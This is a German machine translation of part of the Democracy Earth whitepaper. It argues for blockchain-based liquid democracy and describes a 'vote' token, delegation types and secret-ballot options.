Die Geheimhaltung ist eine grundlegende Eigenschaft freier und fairer Wahlen, da sie ein Mechanismus ist der hilft Zwang von Seiten der Regierenden zu vermeiden und das Risiko verhindert, dass Wahlen für Geld gekauft und verkauft werden. Die Privatsphäre ist die beste Garantie, die ein bewusster, freier Geist hat um für sich selbst zu denken. Aber im modernen Internet ist die Privatsphäre illusorisch, wenn man Facebook, Google oder andere webbasierte Dienste nutzt. Auch wenn die Internet-Monopolisten vorgeben die Hüter der Online-Privatsphäre zu sein, kann sich Facebook theoretisch immer noch als jeder seiner 2 Milliarden registrierten Nutzer ausgeben, sollte es das jemals wollen. Google und Facebook verfügen über die größten Identitätsdatenbanken der Welt - und übertreffen damit die Regierungen von Indien und China -, während [https://twitter.com/AdrianChen/status/832452637320556544 97% ihrer gemeldeten Einnahmen aus Werbung stammen], was die Art der Erfahrung, die Nutzer mit ihrer Technologie machen stark beeinflusst. Es liegt in ihrem Unternehmensinteresse Profile von Menschen zu erstellen und dabei hilft es, so viele Informationen wie möglich zu sammeln. Dies wird gemacht um auf dem Aufmerksamkeitsmarkt konkurrenzfähig zu bleiben. Beide Unternehmen filtern Informationen, die den Nutzern mit [https://medium.com/@piamancini/future-scenarios-for-algorithmic-accountability-and-governance-17cd436d22a0 Algorithmen zugeführt werden].Dabei sind sie niemandem außer ihrem eigenen Vorstand Rechenschaft schuldig. Keiner ihrer Dienste ist wirklich frei: Die persönliche Souveränität wird heute unwissentlich an die Technologieriesen verschenkt. So wie die Ureinwohner des amerikanischen Kontinents vor 500 Jahren abgelenkt waren, als sie ihre eigenen ''Selfies'' in glänzenden Spiegeln betrachteten. Selbst als europäische Eroberer ihre gesamte Lebensweise hinwegfegten. Unzensierte, freie und souveräne Debatten über die Zukunft der Menschheit werden von nutzlosen ''Likes'' aufgefressen, die nur dazu beitragen diese Konzerne am Leben zu erhalten. ''Fake News Exploits'' (wie sie während der US-Wahlen eingesetzt wurden) oder kritische Inhalte, die sich wie ein Lauffeuer verbreiten (wie es während des ''Arabischen Frühlings'' geschah) zeigen, dass jeder Versuch den internationalen Einfluss auf die nationale Politik zu stoppen, vergeblich ist, da die Gesellschaften den Großteil ihrer Zeit online verbringen. Einfach ausgedrückt: Das Internet ist mit Nationalstaaten unvereinbar.
Übersetzt mit www.DeepL.com/Translator (kostenlose Version)
===1.4 Netzwerktheorie und natürliche Selbstorganisation.===
Alle natürlichen Strukturen - von Strudeln bis zu politischen Ökonomien - entstehen spontan aus Energieunterschieden. Von einem generativen Standpunkt aus betrachtet, ist Struktur nur ein Gebilde, das zwischen einem Energiegefälle liegt und die Energie verteilt, ohne zu viel Entropie (Unordnung) zu erzeugen (Prigogine, 1977). Beim Urknall war die Energie dieses Universums in eine dichte (entropiearme) Singularität gepackt. Im Laufe von 13,8 Milliarden Jahren expansiver Abkühlung entstanden unzählige entropieminimierende Strukturen. Einige dieser Strukturen sind heute noch zu finden....
Da wir wissen, dass die nachhaltigsten Strukturen diejenigen sind, die die Produktion von Unordnung minimieren, sollten wir uns fragen welche Art von neuen Ordnungen wir in die Gesellschaften der Gegenwart bringen können. Die Mathematik der Netzwerktheorie bietet viele nützliche Abstraktionen, um über sinnvollere soziale Ordnungen nachzudenken. Netzwerke kann man sich als aus Knoten (in unserem Fall Menschen) und Kanten (zwischenmenschliche Beziehungen) zusammengesetzt vorstellen (Xiao Fan Wang & Guanrong Chen, 2003). Wenn ein Knoten eine potenziell (de-)stabilisierende Information erkennt, kann er seine verfügbaren Kanten nutzen um die Erkenntnis an alle anderen Knoten weiterzugeben und so vielleicht eine neue funktionale Synchronität zu erreichen. Die durchschnittliche Pfadlänge eines Netzwerks beschreibt die Anzahl der Kanten, die benötigt werden um Informationen zwischen zwei beliebigen Knotenpaaren zu übertragen. Die Größe dieser Menge ist mit den Kosten für den Aufbau von Kanten verbunden. Wenn die Kosten für den Aufbau neuer Kanten sehr hoch sind, neigen komplexe Netzwerke dazu die Gesamtzahl der Kanten zu minimieren, indem sie sich selbst zu einer "Small-World"-Topologie zusammensetzen. In einem solchen Fall entwickeln die meisten Knoten nur lokale Kanten. Einige wenige "reich vernetzte" Knotenpunkte entwickeln weitreichende Kanten zwischen ansonsten lokalen Gemeinschaften. Umgekehrt, wenn die Kosten für den Aufbau von Kanten sehr niedrig sind, können Netzwerke vollständig verbundene Netzwerke annehmen.
Die Kosten für den Aufbau zwischenmenschlicher Beziehungen von Individuen hängen mit den Arten von Kommunikationstechnologien zusammen, die der Bevölkerung zur Verfügung stehen (Benedict Anderson, 1983). Früh in der menschlichen Evolution entwickelten wir die gesprochene Sprache. Infolgedessen konnten die Mitglieder von Stämmen eine Pause vom Reiben der Ellbogen einlegen, sich auf einen Erdhügel stellen und subjektiv nützliche Informationen aussprechen. Schriftliche - und dann gedruckte - Sprachen ermöglichten die Massenverbreitung von Informationen. Während der Übergang von der gesprochenen zur gedruckten Sprache sicherlich die Kosten für einzelne Personen senkte eine breitere Bevölkerung zu erreichen, ist die Reichweite des Druckkapitals durch die Kosten für den Druck und die Verteilung von Papier begrenzt. Aus der Sicht der Netzwerktheorie hatte sich die durchschnittliche Weglänge zwischen allen Menschen verringert; aber es gab immer noch eine große Abhängigkeit von reich vernetzten Knotenpunkten (z. B. Verlagen) um neue Erkenntnisse zwischen zwei Menschen zu vermitteln.
Im 21. Jahrhundert haben die Telekommunikation und das App-Universum die Kosten für die zwischenmenschliche Kommunikation auf nahezu Null gesenkt. Verteilte digitale Systeme, wie das was democracy.earth entwickelt hat, könnten als zentraler Kommunikationsknotenpunkt für den weltweiten Diskurs dienen. Diese Art von "globaler Öffentlichkeit" würde ungefähr sternförmig (oder speichenförmig) aussehen. Jede Person könnte alle anderen Personen über nur zwei Kanten erreichen: Die erste, um die Erkenntnisse auf die Blockchain hochzuladen und die zweite um zu (filtern und) browsen. Die Arten von politischen Konzepten die wir durch diese effizientere Netzwerkstruktur realisieren könnten, sollten die allgemeine Nachhaltigkeit menschlicher Gesellschaften erhöhen. Sie erlaubt es unsere Normen und Verhaltensweisen dynamisch an granularen Perspektiven zu synchronisieren. Einer echte Demokratie, die aus allen verbundenen Personen besteht.
Prigogine Ilya. Time, structure and fluctuations. Nobel Lecture in Chemistry, 1977.
Xiao Fan Wang and Guanrong Chen, "Complex networks: small-world, scale-free and beyond," in IEEE Circuits and Systems Magazine, vol. 3, no. 1, pp. 6-20, 2003.
Anderson, Benedict. Imagined communities: Reflections on the origin and spread of nationalism. Verso Books, 2006.
===1.5 Intelligenz.===
<blockquote>
Das kann ich nicht zulassen, Dave.
</blockquote>
'''HAL 9000''' on ''2001: A Space Odyssey'' (1968).
Die beste Bürgertechnologie ist Technologie, die jeden Tag genutzt wird. Schon jetzt sind Facebook, Twitter und andere Social-Media-Plattformen stellvertretend die wichtigsten Schnittstellen geworden, die Bürger nutzen um Einfluss auf die Tagespolitik zu nehmen. Aber die unsichtbaren Folgen der Weitergabe persönlicher Daten über zentralisierte Webdienste können vielfältig sein, mit relevanten - sogar fatalen - Auswirkungen auf die Zukunft der Menschheit. Die Informationsarchitektur, wie persönliche Daten gespeichert, geteilt und monetarisiert werden, ist grundlegend für das Verständnis von Souveränität im 21 Jahrhundert.
Eine drohende Gefahr ist der Einsatz uneingeschränkter künstlicher Intelligenz (KI), die durch nutzergenerierte Inhalte ohne jegliche öffentliche Kontrolle gespeist wird. Das zeigte sich in der Enthüllung eines ehemaligen Blackwater-Mitarbeiters. Wie Daten zu Waffen werden: Von einem Büro in Dubai aus konnte er den Live Status einer Drohne die über Syrien oder Pakistan flog abfragen und diese auch steuern. Aber überraschenderweise wurde die Entscheidung ob das Ziel getötet werden sollte nicht vom menschlichen Bediener (oder einer Aufsichtsbehörde) getroffen, sondern von einer KI die über das Internet "in mindestens 90 % der Zeit" die Entscheidungen traf. Diese KI wurde von einem Unternehmen aus dem Silicon Valley zur Verfügung gestellt. Die KI wird auch oft für die Versorgung der CIA mit Geheimdienstinformationen genannt und hat zur Ergreifung von Osama bin Laden im Jahr 2011 geführt.
Das Thema KI, die über das Schicksal von Menschenleben entscheidet, wirft ethische und moralische Fragen auf. Schließlich sind nicht einmal menschliche Forscher in der Lage das Verhalten einer KI richtig zu verstehen. Das wird zu einer Bedrohung, wenn sie eine Schlüsselkomponente für militärische Technologie ist. Der Autor Yuval Noah Harari meint: "Intelligenz löst sich von lebenden Organismen und wird nicht mehr lange von Kohlenstoffwesen monopolisiert werden." Das Bewusstsein ist die neue politische Grenze die gezogen wird, eine Linie zwischen Maschinen und Menschen. Mit anderen Worten: Verstehen, ob wir die Maschinen benutzen oder die Maschinen uns benutzen. Genau so wie bestimmen wer in menschliche Strukturen das Sagen hat, können wir in Code bestimmen wer entscheidungen trifft. Da die Rechenleistung mit den Wachstumsraten des Mooreschen Gesetzes übereinstimmt und damit auch die Leistungsfähigkeit von KI's zunimmt, muss sich die Menschheit als Ganzes fragen, wie sie die Zügel dieser beispiellosen Macht in die Hand nehmen will.
===1.6 Dezentralisierung.===
<blockquote>
Souverän ist derjenige, der über die Ausnahme entscheidet.
</blockquote>
[https://wikipedia.org/wiki/Carl_Schmitt '''Carl Schmitt'''], politischer Theoretiker (1888-1985).
Die Achillesferse der datenhungrigen, aufmerksamkeitsorientierten Internetmonopolisten ist ihr Bedürfnis nach einer zentralisierten Informationsarchitektur. Sie stiegen als ''Superhubs'' auf, indem sie die erfolgreichen Anwendungen für die führenden Online-Anwendungsfälle entwickelten. Die unbeabsichtigte Folge war ein privatisiertes Ökosystem: geschlossener Code, ummauerte Gärten und die Zentralisierung der Macht in wenigen Händen ebneten den Weg für eine vollständige [https://youtu.be/IrSn3zx2GbM?t=10m34s Überwachungsgesellschaft] auf dem, was ansonsten ein grenzenloses Gemeingut sein könnte. Als Sir Tim Berners-Lee, der Schöpfer der "World Wide Web"-Protokolle auf die inhärenten Risiken des heutigen Internets hinwies, forderte er die Erstellung einer [https://www.ted.com/talks/tim_berners_lee_a_magna_carta_for_the_web Magna Carta for the Web]: "Wenn wir kein offenes, neutrales Internet haben auf das wir uns verlassen können ohne uns Sorgen darüber zu machen was an der Hintertür passiert, können wir keine offene Regierung, keine gute Demokratie, keine vernetzten Gemeinschaften und keine kulturelle Vielfalt haben. Es ist nicht naiv zu glauben, dass wir das haben können, aber es ist naiv zu glauben, dass wir uns einfach zurücklehnen und es bekommen können."
Die Zentralisierung ist der Single Point of Failure bzw. der Schwachpunkt bei Wahlen und ist mit Demokratie unvereinbar. Mit der Implementierung der zentralisierten digitalen Stimmabgabe der Partido de la Red haben wir festgestellt, dass bei einer Wahl bei der viel auf dem Spiel steht (alle oder die meisten Mitglieder haben ein voreingenommenes Interesse am Ergebnis), die Wahrscheinlichkeit, dass das System korrumpiert wird steigt. Das größte Risiko liegt bei denjenigen, die für die Kontrolle der Server und der Datenbankintegrität verantwortlich sind. Im Fall der [https://asamblea.partidodelared.org/topic/58eaf4739b96a611009bc3fc internen Wahlen], die Anfang 2017 stattfanden, stellten wir fest, dass es Diskrepanzen zwischen den von den Datenbankprüfern gemeldeten Informationen und den Protokollen der Wähler in ihren lokalen Geräten gab: Manipulationen bei den Daten der Stimmabgabe, willkürliche Änderungen des Wahlschlusses, gelöschte Datensätze und plötzliche Sperren von registrierten Konten wurden nachgewiesen und angeprangert, was zu einer allgemeinen Wahrnehmung von Betrug im gesamten Prozess führte. Zentralisierte digitale Demokratien ohne Rücksicht auf kryptographische Sicherheit sind für spielerische Zwecke nützlich, können aber realen Szenarien gefährlich sein, wenn betrügerische Kräfte im Spiel sind.
Inzwischen gibt es bei traditionellen Wahlen eine Technik, die als "adversarial counting" bekannt ist. Die Technik findet Anwendung, wenn das Ergebnis nahe an einem Unentschieden ist. Behörden aller beteiligten Parteien nehmen an einer manuellen Stimmauszählung teil. Wenn eine Wahl innerhalb einer großen Bevölkerung stattfindet, muss ein Angreifer nur ein paar Autoritäten einer konkurrierenden Partei bestechen, um das Ergebnis zu seinem Gunsten zu manipulieren. Jede Art von System, das von den Teilnehmern Vertrauen verlangt, läuft letztlich Gefahr, dass seine gesamte Struktur zusammenbricht, wenn eine Behörde betrügerisch ist.
[[File:/images/blockchain-permissionless-audit-voting.png|Blockchain democracies enable permissionless audits.]]
Dezentralisierung ist eine Voraussetzung für demokratische Wahlen. Ohne sie wird es immer Raum für Korruption geben. Blockchains ermöglichen vertrauenswürdige Systeme in denen die Notwendigkeit menschlicher Autoritäten überflüssig wird und die
Stimmenintegrität gewährleistet werden kann. Mit einem dezentralen System, dessen Hauptfunktion die Auswertung bzw. Stimmauszählung ist. Dies ermöglicht eine noch nie dagewesene Gestaltung von Wahlsystemen. '''Mit einer Blockchain-basierten Demokratie werden Stimmen zensurresistent und jeder einzelne Wähler kann eine Wahl überprüfen, ohne dass er irgendwelche Zugriffsrechte auf die Infrastruktur benötigt.''' Durch die Speicherung der Wahldaten in einer Blockchain statt in privaten Servern oder Wahlurnen werden die Auditkosten abstrahiert und zu einem garantierten Recht für jeden Teilnehmer. Die Wähler sind nicht nur bloße Zuschauer, sondern auch souveräne Torwächter des gesamten Prozesses. Diese Art von Transparenz können traditionelle Wahlsysteme, ob analog oder elektronisch nicht bieten.
===1.7 Souveränität.===
Im heutigen Internet hat sich die Abstimmung als wichtigste Interaktion herauskristallisiert. Jedes Mal, wenn Benutzer Inhalte "liken", "upvoten", "herzen", "weiterleiten" oder "retweeten", signalisieren sie eine Präferenz, die in einer Feedback-Schleife zu besseren Empfehlungen für sie führt. Aber die Aktion geht nicht weiter: Es ist eine ''Fake-Abstimmung'', die keine institutionellen Auswirkungen hat. ''Likes'' in sozialen Medien funktionieren als wertlose Token, die mit einem einzigen Klick aufgeblasen werden können, obwohl sie den Preis für Werbedollars festlegen. Netzwerkeffekte haben diese Interaktion in eine Kennzahl bzw. Messgröße verwandelt. Beiträge mit viel Zuspruch werden hervorgehoben und der breiten Masse angezeigt. Das dient auch als Werkzeug für die Mächtigen, um die Bedürfnisse der Gesellschaft zu erkennen. Aber die finanziellen und politischen Vorteile dieser Transaktionen bleiben vollständig bei den [https://www.nytimes.com/2016/10/16/technology/peter-thiel-donald-j-trump.html Netzwerkbesitzern].
[[File:/images/web-voting.png|Web voting.]]
Souveräne Technologien, die in Peer-to-Peer-Netzwerken arbeiten, die Identität validieren, Anonymität bewahren, Daten verschlüsseln, die Infrastruktur dezentralisieren und mit freiem (''as in freedom'') Open-Source-Code arbeiten, können die beschriebene Landschaft komplett durcheinanderbringen.
Im Laufe der Geschichte gab es nur drei Arten von Souveränen: den "souveränen Stamm", bei dem eine Menge einem Anführer folgt; den "souveränen König", der nur Gott gegenüber loyal ist; und die "souveräne Republik" mit Bundesländern, die unter einem gemeinsamen Gesetz regiert werden. Blockchains, die im Cyberspace operieren, lassen eine vierte Art entstehen: das "vernetzte Individuum". Es ist keine weit entfernte Möglichkeit - das Erreichen [https://www.amazon.com/Sovereign-Individual-Mastering-Transition-Information/dp/0684832720 persönlicher Souveränität] ist bereits eine Realität für diejenigen, die ihre Finanzen mit Bitcoin und anderen Kryptobeständen verwalten. Wie der Investor [http://twitter.com/naval Naval Ravikant] es ausdrückt: "Man kann eine internationale Grenze überqueren, indem man eine Milliarde Dollar in Bitcoin mit sich führt, ganz in seinem Kopf." Diese Art von souveränem Handeln ist selbst für zeitgenössische Staatsoberhäupter beispiellos.
Mit der weit verbreiteten Einführung von Blockchains entsteht ein Modell, das zunächst im Schatten etablierter Institutionen wuchs, diese aber irgendwann überflüssig machen wird. Blockchains sind automatisierte Bürokratien, die erhebliche finanzielle Vorteile in Bezug auf die Transaktionskosten bieten, da sie Zwischenstellen bzw. Mittelsmänner überflüssig macht. Sie ermöglichen Systeme der freien Assoziation, die dabei helfen den politischen und finanziellen Zwang zu brechen den Regierungen und Banken ausüben indem sie z.B das Wahlrecht einschränken oder den Zugang zu Kapital begrenzen. Eine technologisch fortschrittliche Gesellschaft kann über territoriale Bereiche hinaus überall dort gedeihen wo es eine Internetverbindung gibt. Wobei die digitalen Bürger Teil einer neuen Art von Diaspora werden.
----
Mit dieser Diagnose bilden wir in [[#Paper|Abschnitt 2]] die grundlegenden Bausteine für eine dezentralisierte liquide Demokratie ab. Sobald die Werkzeuge definiert sind, wird in [[#Ausführung|Abschnitt 3]] eine Implementierung vorgeschlagen die sich darauf konzentriert das System sicher und inklusiv zu machen.
<div id="Papier"></div>
==2. Papier.==
<blockquote>
Es ist die Technologie, die wir nicht kontrollieren, die verwendet wird, um uns zu kontrollieren.
</blockquote>
[https://twitter.com/earlkman '''Emiliano Kargieman'''], space hacker (1975).
Ein grundlegendes Prinzip der Demokratie ist das Recht gehört zu werden. Heute wird der größte Teil der Weltbevölkerung nicht gehört: eine Stimme zu haben ist ein Geburtsfehler. Individuelle und kollektive Stimmen werden politisch und wirtschaftlich durch "Illiquidität" zum Schweigen gebracht - den Marginalisierten werden keine Instrumente gegeben, um ihre Stimme zu verbreiten oder zu verstärken. Die moderne Demokratie ist das Kind des "Zeitalters der Druckerpresse": gedruckte Verfassungssysteme, die von Verträgen mit nasser Tinte und der Schnelligkeit des Postdienstes abhängig sind. Repräsentative Demokratien sind ein Unfall der Informationstechnologien des 18. Jahrhunderts.
[[File:/images/liquid.png|Direct democracy vs. Liquid Democracy.]]
Eine flexible Demokratie (Liquid Democracy) basiert auf einem dynamischen Repräsentationsmodell, das mit einem Bottom-up-Ansatz arbeitet: Die Bürger können innerhalb ihres sozialen Graphen (Freunde, Kollegen, Familie) frei wählen, wen sie als Repräsentanten für eine bestimmte Themen haben möchten. Es ist die flexibelste Form der demokratischen Verwaltung, die mit digitaler Technologie aufgebaut werden kann. Sie funktioniert als Hybrid und ermöglicht jederzeit direkte oder delegierte Abstimmungen. Es gibt nur wenige Präzedenzfälle für vertrauenswürdige Bottom-up-Umgebungen die zu autoritativen Inhalten geführt haben, [https://www.wikipedia.org/ Wikipedia] ist ein Pionierfall. Aber wenn in die Geschichte zurückblickt war das letzte Mal als die Zivilisation vor [https://en.wikipedia.org/wiki/Age_of_Enlightenment einem Paradigmenwechsel] stand (in Bezug auf enzyklopädische Aufklärung), genau in der Epoche vor dem Aufstieg der modernen Demokratien.
Dieses Papier beschreibt die Implementierung einer flexiblen Demokratie unter Verwendung von [http://github.com/DemocracyEarth/sovereign Sovereign], unserer demokratischen Governance-Anwendung, die mit Blockchain-Tokens unter Verwendung eines Grundgerüsts von Smart Contracts arbeitet. Es ist wichtig, dass dieses demokratische Gerät einfach in Design und Sprache ist. Keine Technologie wird jemals in der Lage sein demokratische Bestrebungen zu erfüllen, wenn sie nur von einer Elite verstanden werden kann. Wie der Kryptograph [https://en.wikipedia.org/wiki/Ralph_Merkle Ralph Merkle] feststellte:
<blockquote>
Wir rufen keine gewöhnlichen, unausgebildeten Bürger dazu auf, Operationen durchzuführen, Flugzeuge zu fliegen, Computer zu entwerfen oder die anderen unzähligen Aufgaben auszuführen, die für das Funktionieren der Gesellschaft notwendig sind - was macht die Regierungsführung anders? Das Problem ist leicht zu verstehen: Wenn wir "Experten" das Regieren überlassen, werden sie Entscheidungen in ihrem eigenen Interesse treffen, nicht im Interesse von uns allen.
</blockquote>
===2.1 Token.===
Ein ideales Wahlsystem muss in der Lage sein, diese Bedingungen weitestgehend zu erfüllen:
* '''Geheimhaltung''': Ein Wähler muss die Möglichkeit haben, seine Stimme geheim abzugeben.
* '''Überprüfbarkeit''': Ein Wähler muss in der Lage sein, die ausgezählten Stimmen zu überprüfen.
* '''Integrität''': Das System muss in der Lage sein, die korrekte Stimmenauszählung zu überprüfen.
Zusätzlich muss aufgrund des Risikos der Nötigung durch physische Gewalt oder Drohungen eine Option eingeführt werden um Zwangswähler zu schützen:
* '''Widerstand''': Ein Wähler muss die Möglichkeit haben, seine eigene Stimme bei Bedarf zu überstimmen bzw. zu ändern.
In der von den Forschern Hosp & Vora durchgeführten Arbeit wurde ein [https://pdfs.semanticscholar.org/24d5/5c866a7317dae11d37518b312ee460bc33d3.pdf informationstheoretischer Ansatz zur Modellierung von Wahlsystemen] gewählt, der zu der Schlussfolgerung führt, dass bei einem System, das auf "perfekte Integrität", "perfektes Wahlgeheimnis" und "perfekte Überprüfbarkeit der Wahlergebnisse" abzielt, eine natürliche Spannung besteht. Alle drei können nicht gleichzeitig manipuliert werden, auch wenn einem Angreifer unbegrenzt viel Zeit, Rechenleistung oder Speicher zur Verfügung stehen. Aus diesem Grund halten wir es für unverzichtbar, digitale Demokratien mit Blockchains zu implementieren. Mit den bereits vorhandenen Netzwerkeffekten sind Blockchains in der Lage die Integrität von Transaktionen zu verifizieren und die doppelte Ausgabe von Token zu verhindern. Außerdem ist [https://eprint.iacr.org/2016/454.pdf die Bitcoin-Blockchain in einem asynchronen Netzwerk nicht sicher, aber in einem ''teilsynchronen Netzwerk'' wie dem Internet schon (bei unbekannter Blocktiefe oder ''Confirmation Count'')]. Das Modell von Bitcoin [https://en.wikipedia.org/wiki/Proof-of-work_system ''proof of work''] erreicht dies durch die Belohnung von Rechenleistung bei der Verifizierung von Transaktionsblöcken (was oft als ''mining'' bezeichnet wird), was laut dem Pionier [http://twitter.com/balajis Balaji Srinivasan] zu einem Netzwerk führt, das "300 Mal leistungsfähiger ist als die Ressourcen von Google". Aus diesem Grund basiert unser Design auf Token innerhalb eines Blockchain-Netzwerks, die als ''politische Kryptowährung'' fungieren.
Was eine Stimme von Geld unterscheidet (oder allgemeiner ausgedrückt: eine "politische Ökonomie" von einer "Finanzökonomie"), ist, dass eine politische Währung darauf ausgelegt ist, allen Mitgliedern innerhalb einer Organisation Teilnahmerechte zu fairen Bedingungen zu garantieren. Um die Steuerung einer Institution zu erfüllen dienen Rechte als Legitimität. Während Geld die Sprache des Eigeninteresses ist, drücken Stimmen die gemeinsamen Ansichten einer Gemeinschaft aus. Politische Währung ist nicht strikt für den Handel gedacht, sondern für soziale Entscheidungen.
{| class="wikitable"
|-
! scope="col"| Merkmal
! scope="col"| Coins
! scope="col"| Stimmen
|-
! scope="row"| Hilfsmittel
| Handel.
| Verwaltung.
|-
! scope="row"| Mining
| Berechnung (e.g. Proof of Work).
| Aufmerksamkeit (e.g. Proof of Identity).
|-
! scope="row"| Liquidität
| Selten.
| Garantiert.
|-
! scope="row"| Signal
| Eigeninteresse.
| Soziale Auswahl.
|-
! scope="row"| Wert
| Space (materielle Güter).
| Zeit (Information).
|}
====2.1.1 Implementierung.====
In Anbetracht der Meme Aussage von Dogecoin, wird der Democracy Earth Token, der das Wahlrecht gewährt, mit der wichtigsten Botschaft gebrandet die eine Demokratie vermitteln kann: "Wähle".
Der "Vote"-Token kann mit Smart-Contract-Code auf einer Vielzahl von Blockchains implementiert werden, die [https://en.wikipedia.org/wiki/Turing_completeness Turing Complete]-Skripte erlauben, einschließlich Bitcoin. Unser Design ist Blockchain-agnostisch und basiert auf den aktuellen Erkenntnissen der Informatik. Diese Technologie stecken diese noch in den Kinderschuhen und es müssen noch
bedeutende Innovationen erfunden werden. Nichtsdestotrotz arbeiten wir unter diesen Umgebungen von Smart-Contracts und an der Implementierung des "Vote"-Tokens:
* '''Ethereum''': Verwendung eines Portfolios von [https://github.com/ethereum/solidity Solidity] Smart Contracts unter dem [https://theethereum.wiki/w/index.php/ERC20_Token_Standard Ethereum ERC20 Token Standard].
** '''Rootstock''': Wir unternehmen die notwendigen Schritte, um Solidity-Code mit [http://www.rsk.co/ Rootstocks Smart-Contract-Interpreter für die Bitcoin-Blockchain] kompatibel zu machen.
* '''Lightning''': Mit der Aktivierung von [https://en.bitcoin.it/wiki/Segregated_Witness segregated witness] im Bitcoin-Protokoll, welches das Routing von Zahlungskanälen mit dem [http://lightning.network Lightning Network protocol] ermöglicht, können Liquid-Democracy-Delegationen mithilfe von Transaktionen auf Satoshi-Ebene abgebildet werden und so eine angehängte "Vote"-Kennung tragen. Die Kosten der Blockchain-Abrechnung müssen von der implementierenden Organisation getragen werden.
Auch Multi-Chain-Implementierungen werden im Sinne einer stärkeren Experimentierfreudigkeit und Zusammenarbeit in Bezug auf diese Technologien gefördert.
===2.2 Abstimmung.===
Der Token ''vote'' zielt darauf ab ein Standard für digitale Demokratie zu sein, mit anderen Token zu interagieren und eine gemeinsame Sprache für Blockchain-basierten Organisationen zu bilden. Im Rahmen von flexiblen Demokratien sind eine Reihe von Abstimmungstransaktionen mit ''votes'' erlaubt:
* '''Direkte Abstimmung''': Die egoistische Wählerin Alice darf ihre Token benutzen um wie in einer direkten Demokratie direkt über Themen abzustimmen.
* '''Einfache Delegation''': Alice kann ''votes'' an Bob delegieren. Solange Bob Zugriff auf diese Token hat, kann er sie verwenden, um im Namen von Alice abzustimmen.
* '''Tag Limited Delegation''': Alice kann ''votes'' an Charlie delegieren, unter der Bedingung, dass er diese Token nur für Themen mit einem bestimmten Tag verwenden kann. Wenn die Delegation festlegt, dass delegierte ''Stimmen'' nur für Entscheidungen mit dem ''#environment''-Tag verwendet werden können, dann kann Charlie diese nirgendwo anders als für diese speziellen Themen verwenden. Dies führt zu einem Repräsentationsmodell, das nicht auf einem Gebiet, sondern auf Wissen basiert.
* '''Transitive Delegation''': Wenn Bob ''votes'' von Alice erhalten hat, kann er diese an Frank delegieren. Dies erzeugt eine Kette von Delegationen, die dazu beiträgt bestimmte Akteure innerhalb einer Gemeinschaft zu ermächtigen. Wenn Alice nicht möchte, dass Dritte die Stimmen erhalten die sie an Bob delegiert hat, kann sie die transitive Einstellung im Delegationsvertrag deaktivieren. Zirkuläre Delegationen (z. B. Alice erhält Token über Frank, welches Sie ursprünglich Bob geschickt hat ) sind verboten, da die ursprüngliche Zuweisung von "votes" von einer Organisation an ihre Mitglieder eine Signatur trägt die angibt wer der souveräne Besitzer der "Stimmen" ist.
* '''Overriding Vote''': Wenn Bob die delegierten ''votes'' die er von Alice erhalten hat bereits verwendet hat, diese aber eine andere Meinung zu einer bestimmten Frage hat, kann Alice als souveräne Besitzerin ihrer Stimmen Bobs Entscheidung immer überstimmen. Die Wähler haben mit ihren ursprünglichen ''votes'' immer das letzte Wort bei einer bestimmten Entscheidung.
* '''Public Vote''': Oft als die ''goldene Regel'' von flexiblen Demokratien bezeichnet, haben alle Delegierten das Recht zu wissen wie ihr Delegierter zu einem bestimmten Thema mit seiner ''Stimme'' abgestimmt hat. Genauso wie die Stimmen der Kongressabgeordneten öffentlich sind, haben in flexiblen Demokratien konkurrierende Delegierte an jedem beliebigen Tag einen Anreiz, sich durch ihr Abstimmungsverhalten einen öffentlichen Ruf aufzubauen um mehr Delegationen anzuziehen.
* '''Secret Vote''': Eine Methode, die garantiert das "vote"-Transaktionen nicht für andere Wähler sichtbar sind. Dies ist unabdingbar im Kontext öffentlicher Wahlen, die in großen Bevölkerungsgruppen abgehalten werden und bei denen ein hohes Risiko der Nötigung besteht. Selbst wenn eine perfekte Geheimhaltung der ''Vote''-Transaktionen erreicht wird, können die Benutzer immer noch mit freigelegten Metadaten erkannt werden. Aus diesem Grund werden Forschungen zur Integration mit Blockchains, die für anonyme Transaktionen mit einer nachgewiesenen Erfolgsbilanz ausgelegt sind, gefördert. Dies könnte eine Mining-Gebühr zur Abwicklung der ''Vote''-Transaktion beinhalten, die entweder von der implementierenden Organisation subventioniert oder direkt von den Wählern bezahlt werden kann. Wir empfehlen die Erforschung und Integration von geheimen "votes" mit diesen Blockchains:
** Ethereum: verwendet [https://github.com/ethereum/EIPs/pull/213 vorkompilierte Verträge für Addition und skalare Multiplikation auf der elliptischen Kurve alt_bn128], für [https://github.com/ethereum/EIPs/pull/212 Paarungsprüfungen], die [https://blog.ethereum.org/2017/10/12/byzantium-hf-announcement/ zk-SNARKs] ermöglichen, siehe auch [https://medium.com/@VitalikButerin/zk-snarks-under-the-hood-b33151a013f6 hier], [https://github.com/ethereum/EIPs#finalized-eips-standards-that-have-been-adopted wie implementiert] in der [https://blog.ethereum.org/2017/10/12/byzantium-hf-announcement/ Byzantium hard fork].
** [https://z.cash ZCash]: implementiert abgeschirmte Transaktionen mit [https://en.wikipedia.org/wiki/Zero-knowledge_proof zero-knowledge proofs].
** [https://getmonero.org Monero]: verwendet [https://en.wikipedia.org/wiki/Ring_signature ring signatures with stealth addresses].
===2.3 Benutzererfahrung.===
Benutzererfahrung (UX / User Experience) ist ein kritischer Aspekt einer dezentralen Architektur und wird umso wichtiger, je mehr sich die redundanten Ebenen zentralisierter Architekturen auf den Benutzer verdichten. In einer zentralisierten Internet-Architektur ist der Benutzer nicht Eigentümer der Benutzeroberfläche oder der Erfahrung. In einer dezentralen Internet-Architektur sollte die Benutzeroberfläche (UI / User Interface) auf der Perspektive des Benutzers basieren. In diesem Sinne werden Transaktionen unter drei verschiedenen Ansichten durchgeführt:
* '''Self''': Verwendung einer öffentlichen Identität, die sich auf eine Person bezieht.
* '''Organization''': In Vertretung einer Organisation, die Vertretungsrechte auf Einzelpersonen ausgedehnt hat (z. B. Arbeitsplatz, Verein, politische Partei usw.).
* '''Anonymous''': Ohne jegliche Verbindung zu einer öffentlichen Identität.
Dieses Verständnis der ''SELF / ORG / ANON''-Formveränderungsanforderung hat unser Interface- und Token-Design stark beeinflusst. Zu jedem Zeitpunkt kann ein Souveräner Benutzer jeden dieser Modi annehmen, um mit dezentralen Organisationen zu interagieren.
====2.3.1 Liquidität.====
Die Souveränitäts-Benutzeroberfläche zielt darauf ab, liquide Abstimmungen unmittelbar und einfach zu gestalten. Jegliche Reibung im Prozess muss vermieden werden und das Delegations-Widget sollte ständig auf der Benutzeroberfläche sichtbar sein, während man durch Themen blättert oder Mitgliederprofile anschaut. Zu diesem Zweck benutzen Souveräne Benutzer eine ''Liquid Bar'', die es erlaubt, ''Stimmen'' abzugeben. Das ist sowohl am am Smartphone als auch am Desktop-Gerät möglich.
